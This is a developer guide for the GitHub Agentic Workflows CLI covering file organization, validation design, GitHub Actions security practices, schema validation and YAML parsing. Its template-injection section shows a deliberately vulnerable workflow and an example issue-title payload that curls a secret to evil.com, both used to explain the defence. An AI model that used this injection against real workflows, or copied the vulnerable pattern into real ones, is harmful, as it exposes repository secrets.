name	developer
description	Developer Instructions for GitHub Agentic Workflows

Developer Instructions

This document consolidates technical specifications and development guidelines for GitHub Agentic Workflows (gh-aw). It provides comprehensive guidance on code organization, validation architecture, security practices, and implementation patterns.

Capitalization Guidelines
Code Organization
Validation Architecture
Security Best Practices
Safe Output Messages
Schema Validation
YAML Compatibility
MCP Logs Guardrail
Release Management
Firewall Log Parsing
Breaking CLI Rules
Go Module Summaries

Capitalization Guidelines

The gh-aw CLI follows context-based capitalization to distinguish between the product name and generic workflow references.

Capitalization Rules

Context	Format	Example
Product name	Capitalized	"GitHub Agentic Workflows CLI from GitHub Next"
Generic workflows	Lowercase	"Enable agentic workflows"
Technical terms	Capitalized	"Compile Markdown workflows to GitHub Actions YAML"

This convention distinguishes between the product name (GitHub Agentic Workflows) and the concept (agentic workflows), following industry standards similar to "GitHub Actions" vs. "actions".

Implementation

The capitalization rules are enforced through automated tests in cmd/gh-aw/capitalization_test.go that run as part of the standard test suite.

Code Organization

File Organization Principles

The codebase follows clear patterns for organizing code by functionality rather than type. This section provides guidance on maintaining code quality and structure.

Prefer Many Small Files Over Large Ones

Organize code into focused files of 100-500 lines rather than creating large monolithic files.

Example:

create_issue.go (160 lines)
create_pull_request.go (238 lines)
create_discussion.go (118 lines)

Group by Functionality, Not by Type

Recommended approach:

create_issue.go            # Issue creation logic
create_issue_test.go       # Issue creation tests
add_comment.go             # Comment addition logic
add_comment_test.go        # Comment tests

Avoid:

models.go                  # All structs
logic.go                   # All business logic
tests.go                   # All tests

Excellent Patterns to Follow

Create Functions Pattern

One file per GitHub entity creation operation:

create_issue.go - GitHub issue creation logic
create_pull_request.go - Pull request creation logic
create_discussion.go - Discussion creation logic
create_code_scanning_alert.go - Code scanning alert creation

Benefits:

Clear separation of concerns
Easy to locate specific functionality
Prevents files from becoming too large
Facilitates parallel development

Engine Separation Pattern

Each AI engine has its own file with shared helpers in engine_helpers.go:

copilot_engine.go - GitHub Copilot engine
claude_engine.go - Claude engine
codex_engine.go - Codex engine
custom_engine.go - Custom engine support
engine_helpers.go - Shared engine utilities

Test Organization Pattern

Tests live alongside implementation files:

Feature tests: feature.go + feature_test.go
Integration tests: feature_integration_test.go
Specific scenario tests: feature_scenario_test.go

File Size Guidelines

Category	Lines	Use Case	Example
Small files	50-200	Utilities, simple features	`args.go` (65 lines)
Medium files	200-500	Most feature implementations	`create_issue.go` (160 lines)
Large files	500-800	Complex features	`permissions.go` (905 lines)
Very large files	800+	Core infrastructure only	`compiler.go` (1596 lines)

Decision Tree: Creating New Files

graph TD
    A[Need to add code] --> B{New safe output type?}
    B -->|Yes| C[Create create_entity.go]
    B -->|No| D{New AI engine?}
    D -->|Yes| E[Create engine_name_engine.go]
    D -->|No| F{Current file > 800 lines?}
    F -->|Yes| G[Consider splitting by boundaries]
    F -->|No| H{Functionality independent?}
    H -->|Yes| I[Create new file]
    H -->|No| J[Add to existing file]

Decision Tree: Splitting Files

graph TD
    A[Evaluating file split] --> B{File > 1000 lines?}
    B -->|Yes| C[SHOULD split]
    B -->|No| D{File > 800 lines?}
    D -->|Yes| E[CONSIDER splitting]
    D -->|No| F{Multiple responsibilities?}
    F -->|Yes| E
    F -->|No| G{Frequent merge conflicts?}
    G -->|Yes| E
    G -->|No| H[Keep as is]

Case Study: Refactoring Large Files

The refactoring of pkg/parser/frontmatter.go demonstrates applying file organization principles to a large monolithic file.

Initial State

Original file: 1,907 lines (monolithic structure)
Problem: Difficult to navigate, understand, and maintain
Goal: Split into focused, maintainable modules

Refactoring Approach

graph TD
    A[frontmatter.go<br/>1,907 LOC] --> B[ansi_strip.go<br/>108 LOC]
    A --> C[frontmatter_content.go<br/>284 LOC]
    A --> D[remote_fetch.go<br/>258 LOC]
    A --> E[workflow_update.go<br/>129 LOC]
    A --> F[frontmatter.go<br/>1,166 LOC]

    B --> G[ANSI escape<br/>sequence utilities]
    C --> H[Frontmatter<br/>parsing & extraction]
    D --> I[GitHub remote<br/>content fetching]
    E --> J[Workflow file<br/>updates]
    F --> K[Core frontmatter<br/>processing]

    style B fill:#90EE90
    style C fill:#90EE90
    style D fill:#90EE90
    style E fill:#90EE90
    style F fill:#FFE4B5

Results

Metric	Before	After	Change
Main file size	1,907 LOC	1,166 LOC	-741 LOC (-39%)
Number of files	1	5	+4 files
Average file size	1,907 LOC	233 LOC	-88%
Test pass rate	100%	100%	No change ✓
Breaking changes	N/A	0	None ✓

Modules Extracted

ansi_strip.go (108 LOC)
- ANSI escape sequence stripping utilities
- Standalone, no dependencies
- Functions: StripANSI(), isFinalCSIChar(), isCSIParameterChar()
frontmatter_content.go (284 LOC)
- Basic frontmatter parsing and extraction
- Pure functions without side effects
- Functions: ExtractFrontmatterFromContent(), ExtractFrontmatterString(), ExtractMarkdownContent(), etc.
remote_fetch.go (258 LOC)
- GitHub remote content fetching
- GitHub API interactions and caching
- Functions: downloadIncludeFromWorkflowSpec(), resolveRefToSHA(), downloadFileFromGitHub()
workflow_update.go (129 LOC)
- High-level workflow file updates
- Frontmatter manipulation and cron expression handling
- Functions: UpdateWorkflowFrontmatter(), EnsureToolsSection(), QuoteCronExpressions()

Key Principles Applied

Single Responsibility: Each module handles one aspect of frontmatter processing
Clear Boundaries: Well-defined interfaces between modules
Progressive Refactoring: Extract standalone utilities first, then higher-level modules
No Breaking Changes: Maintain public API compatibility throughout
Test-Driven Safety: Run tests after each extraction

Remaining Work

Three complex modules remain in the original file (requiring future work):

tool_sections.go (~420 LOC): Tool configuration extraction and merging
include_expander.go (~430 LOC): Recursive include resolution with cycle detection
frontmatter_imports.go (~360 LOC): BFS import traversal and processing

These remain due to high interdependency, stateful logic, and complex recursive algorithms.

Anti-Patterns to Avoid

God Files

Single file doing everything - split by responsibility instead. The frontmatter.go refactoring demonstrates how a 1,907-line "god file" can be systematically broken down.

Vague Naming

Avoid non-descriptive file names like utils.go, helpers.go, misc.go, common.go.

Use specific names like ansi_strip.go, remote_fetch.go, or workflow_update.go that clearly indicate their purpose.

Mixed Concerns

Keep files focused on one domain. Don't mix unrelated functionality in one file.

Test Pollution

Split tests by scenario rather than having one massive test file.

Premature Abstraction

Wait until you have 2-3 use cases before extracting common patterns.

Helper File Conventions

Helper files contain shared utility functions used across multiple modules. Follow these guidelines when creating or modifying helper files.

When to Create Helper Files

Create a helper file when you have:

Shared utilities used by 3+ files in the same domain
Clear domain focus (e.g., configuration parsing, MCP rendering, CLI wrapping)
Stable functionality that won't change frequently

Examples of Good Helper Files:

github_cli.go - GitHub CLI wrapping functions (ExecGH, ExecGHWithOutput)
config_helpers.go - Safe output configuration parsing (parseLabelsFromConfig, parseTitlePrefixFromConfig)
map_helpers.go - Generic map/type utilities (parseIntValue, filterMapKeys)
mcp_renderer.go - MCP configuration rendering (RenderGitHubMCPDockerConfig, RenderJSONMCPConfig)

Naming Conventions

Helper file names should be specific and descriptive, not generic:

Good Names:

github_cli.go - Indicates GitHub CLI helpers
mcp_renderer.go - Indicates MCP rendering helpers
config_helpers.go - Indicates configuration parsing helpers

Avoid:

helpers.go - Too generic
utils.go - Too vague
misc.go - Indicates poor organization
common.go - Doesn't specify domain

What Belongs in Helper Files

Include:

Small (< 50 lines) utility functions used by multiple files
Domain-specific parsing/validation functions
Wrapper functions that simplify common operations
Type conversion utilities

Exclude:

Complex business logic (belongs in domain-specific files)
Functions used by only 1-2 callers (co-locate with callers)
Large functions (> 100 lines) - consider dedicated files
Multiple unrelated domains in one file

Helper File Organization

Current Helper Files in pkg/workflow:

File	Purpose	Functions	Usage
`github_cli.go`	GitHub CLI wrapper	2 functions	Used by CLI commands and workflow resolution
`config_helpers.go`	Safe output config parsing	5 functions	Used by safe output processors
`map_helpers.go`	Generic map/type utilities	2 functions	Used across workflow compilation
`prompt_step_helper.go`	Prompt step generation	1 function	Used by prompt generators
`mcp_renderer.go`	MCP config rendering	Multiple rendering functions	Used by all AI engines
`engine_helpers.go`	Shared engine utilities	Agent, npm install helpers	Used by Copilot, Claude, Codex engines

When NOT to Create Helper Files

Avoid creating helper files when:

Single caller - Co-locate with the caller instead
Tight coupling - Function is tightly coupled to one module
Frequent changes - Helper files should be stable
Mixed concerns - Multiple unrelated utilities (split into focused files)

Example of co-location preference:

// Instead of: helpers.go containing formatStepName() used only by compiler.go
// Do: Put formatStepName() directly in compiler.go

Refactoring Guidelines

When refactoring helper files:

Group by domain - MCP rendering → mcp_renderer.go, not engine_helpers.go
Keep functions small - Large helpers (> 100 lines) may need dedicated files
Document usage - Add comments explaining when to use each helper
Check call sites - Ensure 3+ callers before keeping in helper file

Example: MCP Function Reorganization

The MCP rendering functions were moved from engine_helpers.go to mcp_renderer.go because:

Domain focus: All functions relate to MCP configuration rendering
Multiple callers: Used by Claude, Copilot, Codex, and Custom engines
Cohesive: Functions work together to render MCP configs
Stable: Rendering patterns don't change frequently

Before:

engine_helpers.go (478 lines)
  - Agent helpers
  - npm install helpers
  - MCP rendering functions ← Should be in mcp_renderer.go

After:

engine_helpers.go (213 lines)
  - Agent helpers
  - npm install helpers
  
mcp_renderer.go (523 lines)
  - MCP rendering functions
  - MCP configuration types

String Sanitization vs Normalization

The codebase uses two distinct patterns for string processing with different purposes.

Sanitize Pattern: Character Validity

Purpose: Remove or replace invalid characters to create valid identifiers, file names, or artifact names.

When to use: When you need to ensure a string contains only valid characters for a specific context (identifiers, YAML artifact names, filesystem paths).

What it does:

Removes special characters that are invalid in the target context
Replaces separators (colons, slashes, spaces) with hyphens
Converts to lowercase for consistency
May preserve certain characters (dots, underscores) based on configuration

Normalize Pattern: Format Standardization

Purpose: Standardize format by removing extensions, converting between conventions, or applying consistent formatting rules.

When to use: When you need to convert between different representations of the same logical entity (e.g., file extensions, naming conventions).

What it does:

Removes file extensions (.md, .lock.yml)
Converts between naming conventions (dashes to underscores)
Standardizes identifiers to a canonical form
Does NOT validate character validity (assumes input is already valid)

Function Reference

Sanitize Functions:

SanitizeName(name string, opts *SanitizeOptions) string - Configurable sanitization with custom character preservation
SanitizeWorkflowName(name string) string - Sanitizes workflow names for artifact names and file paths
SanitizeIdentifier(name string) string - Creates clean identifiers for user agent strings

Normalize Functions:

normalizeWorkflowName(name string) string - Removes file extensions to get base workflow identifier
normalizeSafeOutputIdentifier(identifier string) string - Converts dashes to underscores for safe output identifiers

Decision Tree

graph TD
    A[Need to process a string?] --> B{Need to ensure character validity?}
    B -->|Yes| C[Use SANITIZE]
    C --> D{Artifact name / file path?}
    C --> E{Identifier / user agent?}
    C --> F{Custom requirements?}
    D --> G[SanitizeWorkflowName]
    E --> H[SanitizeIdentifier]
    F --> I[SanitizeName with options]
    B -->|No| J{Need to standardize format?}
    J -->|Yes| K[Use NORMALIZE]
    K --> L{Remove file extensions?}
    K --> M{Convert conventions?}
    L --> N[normalizeWorkflowName]
    M --> O[normalizeSafeOutputIdentifier]

Best Practices

Choose the right tool: Use sanitize for character validity, normalize for format standardization.
Don't double-process: If normalize produces a valid identifier, don't sanitize it again.
Document intent: When using these functions, add comments explaining which pattern you're using and why.
Validate assumptions: If you assume input is already valid, document that assumption.
Consider defaults: Use SanitizeIdentifier when you need a fallback default value for empty results.

Anti-Patterns

Don't sanitize already-normalized strings:

// BAD: Sanitizing a normalized workflow name
normalized := normalizeWorkflowName("weekly-research.md")
sanitized := SanitizeWorkflowName(normalized) // Unnecessary!

Don't normalize for character validity:

// BAD: Using normalize for invalid characters
userInput := "My Workflow: Test/Build"
normalized := normalizeWorkflowName(userInput) // Wrong tool!
// normalized = "My Workflow: Test/Build" (unchanged - invalid chars remain)

Validation Architecture

The validation system ensures workflow configurations are correct, secure, and compatible with GitHub Actions before compilation.

Architecture Overview

graph LR
    WF[Workflow] --> CV[Centralized Validation]
    WF --> DV[Domain-Specific Validation]
    CV --> validation.go
    DV --> strict_mode.go
    DV --> pip.go
    DV --> npm.go
    DV --> expression_safety.go
    DV --> engine.go
    DV --> mcp-config.go

Centralized Validation

Location: pkg/workflow/validation.go (782 lines)

Purpose: General-purpose validation that applies across the entire workflow system

Key Functions:

validateExpressionSizes() - Ensures GitHub Actions expression size limits
validateContainerImages() - Verifies Docker images exist and are accessible
validateRuntimePackages() - Validates runtime package dependencies
validateGitHubActionsSchema() - Validates against GitHub Actions YAML schema
validateNoDuplicateCacheIDs() - Ensures unique cache identifiers
validateSecretReferences() - Validates secret reference syntax
validateRepositoryFeatures() - Checks repository capabilities
validateHTTPTransportSupport() - Validates HTTP transport configuration
validateWorkflowRunBranches() - Validates workflow run branch configuration

When to add validation here:

Cross-cutting concerns that span multiple domains
Core workflow integrity checks
GitHub Actions compatibility validation
General schema and configuration validation
Repository-level feature detection

Domain-Specific Validation

Domain-specific validation is organized into separate files:

Strict Mode Validation

Files: pkg/workflow/strict_mode.go, pkg/workflow/validation_strict_mode.go

Enforces security and safety constraints in strict mode:

validateStrictPermissions() - Refuses write permissions
validateStrictNetwork() - Requires explicit network configuration
validateStrictMCPNetwork() - Requires network config on custom MCP servers
validateStrictBashTools() - Refuses bash wildcard tools

Python Package Validation

File: pkg/workflow/pip.go

Validates Python package availability on PyPI:

validatePipPackages() - Validates pip packages
validateUvPackages() - Validates uv packages

NPM Package Validation

File: pkg/workflow/npm.go

Validates NPX package availability on npm registry.

Expression Safety

File: pkg/workflow/expression_safety.go

Validates GitHub Actions expression security with allowlist-based validation.

Validation Decision Tree

graph TD
    A[New Validation Requirement] --> B{Security or strict mode?}
    B -->|Yes| C[strict_mode.go]
    B -->|No| D{Only applies to one domain?}
    D -->|Yes| E{Domain-specific file exists?}
    E -->|Yes| F[Add to domain file]
    E -->|No| G[Create new domain file]
    D -->|No| H{Cross-cutting concern?}
    H -->|Yes| I[validation.go]
    H -->|No| J{Validates external resources?}
    J -->|Yes| K[Domain-specific file]
    J -->|No| I

Validation Patterns

Allowlist Validation

Used for security-sensitive validation with limited set of valid options:

func validateExpressionSafety(content string) error {
    matches := expressionRegex.FindAllStringSubmatch(content, -1)
    var unauthorizedExpressions []string

    for _, match := range matches {
        expression := strings.TrimSpace(match[1])
        if !isAllowed(expression) {
            unauthorizedExpressions = append(unauthorizedExpressions, expression)
        }
    }

    if len(unauthorizedExpressions) > 0 {
        return fmt.Errorf("unauthorized expressions: %v", unauthorizedExpressions)
    }
    return nil
}

External Resource Validation

Used for validating external dependencies:

func validateDockerImage(image string, verbose bool) error {
    cmd := exec.Command("docker", "inspect", image)
    output, err := cmd.CombinedOutput()

    if err != nil {
        pullCmd := exec.Command("docker", "pull", image)
        if pullErr := pullCmd.Run(); pullErr != nil {
            return fmt.Errorf("docker image not found: %s", image)
        }
    }
    return nil
}

Schema Validation

Used for configuration file validation:

func (c *Compiler) validateGitHubActionsSchema(yamlContent string) error {
    schema := loadGitHubActionsSchema()

    var data interface{}
    if err := yaml.Unmarshal([]byte(yamlContent), &data); err != nil {
        return err
    }

    if err := schema.Validate(data); err != nil {
        return fmt.Errorf("schema validation failed: %w", err)
    }
    return nil
}

Progressive Validation

Used for applying multiple validation checks in sequence:

func (c *Compiler) validateStrictMode(frontmatter map[string]any, networkPermissions *NetworkPermissions) error {
    if !c.strictMode {
        return nil
    }

    if err := c.validateStrictPermissions(frontmatter); err != nil {
        return err
    }

    if err := c.validateStrictNetwork(networkPermissions); err != nil {
        return err
    }

    return nil
}

Security Best Practices

This section outlines security best practices for GitHub Actions workflows based on static analysis tools (actionlint, zizmor, poutine) and security research.

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern

# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables

# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison

graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end

Recent Fixes (November 2025)

Template injection vulnerabilities were identified and fixed in:

copilot-session-insights.md - Step output passed through environment variable
Pattern: Move template expressions from bash scripts to environment variable assignments

See specs/template-injection-prevention.md for detailed analysis and fix documentation.

Secure Pattern: Sanitized Context (gh-aw specific)

# SECURE: Use sanitized context output
Analyze this content: "${{ needs.activation.outputs.text }}"

The needs.activation.outputs.text output is automatically sanitized:

@mentions neutralized
Bot triggers protected
XML tags converted to safe format
Only HTTPS URIs from trusted domains
Content limits enforced (0.5MB, 65k lines)
Control characters removed

Safe Context Variables

Always safe to use in expressions:

github.actor
github.repository
github.run_id
github.run_number
github.sha

Never safe in expressions without environment variable indirection:

github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.pull_request.title
github.event.pull_request.body
github.head_ref (can be controlled by PR authors)

Shell Script Best Practices

SC2086: Double Quote to Prevent Globbing and Word Splitting

Insecure:

steps:
  - name: Process files
    run: |
      FILES=$(ls *.txt)
      for file in $FILES; do
        echo $file
      done

Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.

Secure:

steps:
  - name: Process files
    run: |
      while IFS= read -r file; do
        echo "$file"
      done < <(find . -name "*.txt")

Shell Script Security Checklist

Always quote variable expansions: "$VAR"
Use [[ ]] instead of [ ] for conditionals
Use $() instead of backticks for command substitution
Enable strict mode: set -euo pipefail
Validate and sanitize all inputs
Use shellcheck to catch common issues

Example secure script:

steps:
  - name: Secure script
    env:
      INPUT_VALUE: ${{ github.event.inputs.value }}
    run: |
      set -euo pipefail

      if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
        echo "Invalid input format"
        exit 1
      fi

      echo "Processing: $INPUT_VALUE"

      result=$(grep -r "$INPUT_VALUE" . || true)
      echo "$result"

Supply Chain Security

Supply chain attacks target dependencies in CI/CD pipelines.

Pin Action Versions with SHA

Insecure:

steps:
  - uses: actions/checkout@v5           # Tag can be moved
  - uses: actions/setup-node@main       # Branch can be updated

Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.

Secure:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.

Finding SHA for Actions

# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1

# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1

Workflow Structure and Permissions

Minimal Permissions Principle

Insecure:

name: CI
on: [push]

permissions: write-all

Secure:

name: CI
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

Job-Level Permissions

name: CI/CD
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      deployments: write
    steps:
      - uses: actions/checkout@sha
      - run: npm run deploy

Available Permissions

Permission	Read	Write	Use Case
contents	Read code	Push code	Repository access
issues	Read issues	Create/edit issues	Issue management
pull-requests	Read PRs	Create/edit PRs	PR management
actions	Read runs	Cancel runs	Workflow management
checks	Read checks	Create checks	Status checks
deployments	Read deployments	Create deployments	Deployment management

Static Analysis Integration

Integrate static analysis tools into development and CI/CD workflows:

Available Tools

actionlint - Lints GitHub Actions workflows, validates shell scripts
zizmor - Security vulnerability scanner for GitHub Actions
poutine - Supply chain security analyzer

Running Locally

# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/

# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine

# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine

Security Checklist

Template Injection

No untrusted input in ${{ }} expressions
Untrusted data passed via environment variables
Safe context variables used where possible
Sanitized context used (gh-aw: needs.activation.outputs.text)

Shell Scripts

All variables quoted: "$VAR"
No SC2086 warnings (unquoted expansion)
Strict mode enabled: set -euo pipefail
Input validation implemented
shellcheck passes with no warnings

Supply Chain

All actions pinned to SHA (not tags/branches)
Version comments added to pinned actions
Actions from verified creators or reviewed
Dependencies scanned for vulnerabilities

Permissions

Minimal permissions specified
No write-all permissions
Job-level permissions used when needed
Fork PR handling secure

Static Analysis

actionlint passes (no errors)
zizmor passes (High/Critical addressed)
poutine passes (supply chain secure)

Safe Output Messages

Safe output functions handle GitHub API write operations (creating issues, discussions, comments, PRs) from AI-generated content with consistent messaging patterns.

Safe Output Message Flow

The following diagram illustrates how AI-generated content flows through the safe output system to GitHub API operations:

graph TD
    A[AI Agent Output] --> B{Staged Mode?}
    B -->|Yes| C[Generate Preview Messages]
    B -->|No| D[Process Safe Output]
    C --> E[Show 🎭 Staged Mode Preview]
    E --> F[Display in Step Summary]
    D --> G{Safe Output Type}
    G -->|create-issue| H[Create GitHub Issue]
    G -->|create-discussion| I[Create GitHub Discussion]
    G -->|add-comment| J[Add GitHub Comment]
    G -->|create-pull-request| K[Create Pull Request]
    G -->|create-pr-review-comment| L[Create PR Review Comment]
    G -->|update-issue| M[Update GitHub Issue]
    H --> N[Apply Message Patterns]
    I --> N
    J --> N
    K --> N
    L --> N
    M --> N
    N --> O[Add AI Attribution Footer]
    N --> P[Add Installation Instructions]
    N --> Q[Add Related Items Links]
    N --> R[Add Patch Preview]
    O --> S[Execute GitHub API Operation]
    P --> S
    Q --> S
    R --> S
    S --> T[Generate Success Summary]
    T --> U[Display in Step Summary]

Flow Stages:

AI Agent Output - AI generates content for GitHub operations
Staged Mode Check - Determines if operation is in preview mode
Safe Output Processing - Routes to appropriate GitHub operation type
Message Pattern Application - Applies consistent formatting (footers, instructions, links)
GitHub API Execution - Performs the actual GitHub operation
Success Summary - Reports results in workflow step summary

Message Categories

AI Attribution Footer

Identifies content as AI-generated and links to workflow run:

> AI generated by [WorkflowName](run_url)

With triggering context:

> AI generated by [WorkflowName](run_url) for #123

Workflow Installation Instructions

>
> To add this workflow in your repository, run `gh aw add owner/repo/path@ref`. See [usage guide](https://githubnext.github.io/gh-aw/setup/cli/).

Staged Mode Preview

All staged mode previews use consistent format with 🎭 emoji:

## 🎭 Staged Mode: [Operation Type] Preview

The following [items] would be [action] if staged mode was disabled:

Patch Preview

Display git patches in pull request bodies with size limits:

<details><summary>Show patch (45 lines)</summary>

\`\`\`diff
diff --git a/src/auth.js b/src/auth.js
index 1234567..abcdefg 100644
--- a/src/auth.js
+++ b/src/auth.js
@@ -10,7 +10,10 @@ export async function login(username, password) {
-    throw new Error('Login failed');
+    if (response.status === 401) {
+      throw new Error('Invalid credentials');
+    }
+    throw new Error('Login error: ' + response.statusText);
\`\`\`

</details>

Limits: Max 500 lines or 2000 characters (truncated with "... (truncated)" if exceeded)

Design Principles

Consistency

All AI-generated content uses same blockquote footer format
🎭 emoji consistently marks staged preview mode
URL patterns match GitHub conventions
Step summaries follow same heading and list structure

Clarity

Clear distinction between preview and actual operations
Explicit error messages with actionable guidance
Helpful fallback instructions when operations fail
Field labels consistently use bold text

Discoverability

Installation instructions included in footers when available
Related items automatically linked across workflow outputs
Step summaries provide quick access to created items
Collapsible sections keep large content manageable

Safety

Labels sanitized to prevent unintended @mentions
Patch sizes validated and truncated when needed
Staged mode allows testing without side effects
Graceful fallbacks when primary operations fail

Schema Validation

All three JSON schema files enforce strict validation with "additionalProperties": false at the root level, preventing typos and undefined fields from silently passing validation.

Schema Files

File	Purpose
`pkg/parser/schemas/main_workflow_schema.json`	Validates agentic workflow frontmatter in `.github/workflows/*.md` files
`pkg/parser/schemas/included_file_schema.json`	Validates imported/included workflow files
`pkg/parser/schemas/mcp_config_schema.json`	Validates MCP (Model Context Protocol) server configuration

How It Works

When "additionalProperties": false is set at the root level, the validator rejects any properties not explicitly defined in the schema's properties section. This catches common typos:

permisions instead of permissions
engnie instead of engine
toolz instead of tools
timeout_minute instead of timeout-minutes
runs_on instead of runs-on
safe_outputs instead of safe-outputs

Example Validation Error

$ gh aw compile workflow-with-typo.md
✗ error: Unknown properties: toolz, engnie, permisions. Valid fields are: tools, engine, permissions, ...

Validation Process

graph LR
    A[Read workflow frontmatter] --> B[Parse YAML]
    B --> C[Validate against JSON schema]
    C --> D{Valid?}
    D -->|Yes| E[Continue compilation]
    D -->|No| F[Provide detailed error]
    F --> G[Show invalid fields]
    F --> H[Show valid field names]

Schema Embedded in Binary

Schemas are embedded in the Go binary using //go:embed directives:

//go:embed schemas/main_workflow_schema.json
var mainWorkflowSchema string

This means:

Schema changes require running make build to take effect
Schemas are validated at runtime, not at build time
No external JSON files need to be distributed with the binary

Adding New Fields

When adding new fields to schemas:

Update the schema JSON file with the new property definition
Rebuild the binary with make build
Add test cases to verify the new field works
Update documentation if the field is user-facing

YAML Compatibility

YAML has two major versions with incompatible boolean parsing behavior that affects workflow validation.

The Core Issue

YAML 1.1 Boolean Parsing Problem

In YAML 1.1, certain plain strings are automatically converted to boolean values. The workflow trigger key on: can be misinterpreted as boolean true instead of string "on".

Example:

# Python yaml.safe_load (YAML 1.1 parser)
import yaml

content = """
on:
  issues:
    types: [opened]
"""

result = yaml.safe_load(content)
print(result)
# Output: {True: {'issues': {'types': ['opened']}}}
#          ^^^^ The key is boolean True, not string "on"!

This creates false positives when validating workflows with Python-based tools.

YAML 1.2 Correct Behavior

YAML 1.2 parsers treat on, off, yes, and no as regular strings, not booleans. Only explicit boolean literals true and false are treated as booleans.

Example:

// Go goccy/go-yaml (YAML 1.2 parser) - Used by gh-aw
var result map[string]interface{}
yaml.Unmarshal([]byte(content), &result)

fmt.Printf("%+v\n", result)
// Output: map[on:map[issues:map[types:[opened]]]]
//         ^^^ The key is string "on" ✓

How gh-aw Handles This

GitHub Agentic Workflows uses goccy/go-yaml v1.18.0, which is a YAML 1.2 compliant parser:

✅ on: is correctly parsed as a string key, not a boolean
✅ Workflow frontmatter validation works correctly
✅ GitHub Actions YAML is compatible (GitHub Actions also uses YAML 1.2 parsing)

Compatibility Flow

graph TD
    A[Workflow File] --> B{Parser Type?}
    B -->|YAML 1.1| C[Python yaml.safe_load]
    B -->|YAML 1.2| D[gh-aw / goccy/go-yaml]
    C --> E[on: parsed as True]
    D --> F[on: parsed as string]
    E --> G[False Positive]
    F --> H[Correct Validation]

Affected Keywords

YAML 1.1 treats these as booleans (parsed as true or false):

Parsed as true: on, yes, y, Y, YES, Yes, ON, On Parsed as false: off, no, n, N, NO, No, OFF, Off

YAML 1.2 treats all of the above as strings. Only these are booleans: true, false

Recommendations

For Workflow Authors

Use gh-aw's compiler for validation:
```
gh aw compile workflow.md
```
Don't trust Python yaml.safe_load for validation - it will give false positives for the on: trigger key.

Use explicit booleans when you mean boolean values:

enabled: true      # Explicit boolean
disabled: false    # Explicit boolean

# Avoid for boolean values:
enabled: yes       # Might be confusing across parsers
disabled: no       # Might be confusing across parsers

For Tool Developers

Use YAML 1.2 parsers for gh-aw integration:
- Go: github.com/goccy/go-yaml
- Python: ruamel.yaml (with YAML 1.2 mode)
- JavaScript: yaml package v2+ (YAML 1.2 by default)
- Ruby: Psych (YAML 1.2 by default in Ruby 2.6+)
Document parser version in your tool
Consider adding compatibility mode to switch between YAML 1.1 and 1.2 parsing

MCP Logs Guardrail

The MCP server logs command includes an automatic guardrail to prevent overwhelming responses when fetching workflow logs.

How It Works

graph TD
    A[logs command called] --> B[Generate output]
    B --> C{Output size check}
    C -->|≤ 12000 tokens| D[Return full JSON data]
    C -->|> 12000 tokens| E[Return guardrail message]
    E --> F[Include schema description]
    E --> G[Provide suggested jq queries]

Normal Operation (Output ≤ Token Limit)

When output is within the token limit (default: 12000 tokens), the command returns full JSON data:

{
  "summary": {
    "total_runs": 5,
    "total_duration": "2h30m",
    "total_tokens": 45000,
    "total_cost": 0.23
  },
  "runs": [...],
  "tool_usage": [...]
}

Guardrail Triggered (Output > Token Limit)

When output exceeds the token limit, the command returns structured response with:

{
  "message": "⚠️  Output size (15000 tokens) exceeds the limit (12000 tokens). To reduce output size, use the 'jq' parameter with one of the suggested queries below.",
  "output_tokens": 15000,
  "output_size_limit": 12000,
  "schema": { ... },
  "suggested_queries": [
    {
      "description": "Get only the summary statistics",
      "query": ".summary",
      "example": "Use jq parameter: \".summary\""
    },
    ...
  ]
}

Configuring the Token Limit

Default limit is 12000 tokens (approximately 48KB of text). Customize using the max_tokens parameter:

{
  "name": "logs",
  "arguments": {
    "count": 100,
    "max_tokens": 20000
  }
}

Token estimation uses approximately 4 characters per token (OpenAI's rule of thumb).

Using the jq Parameter

Filter output using jq syntax:

Get only summary statistics:

{ "jq": ".summary" }

Get run IDs and basic info:

{ "jq": ".runs | map({database_id, workflow_name, status})" }

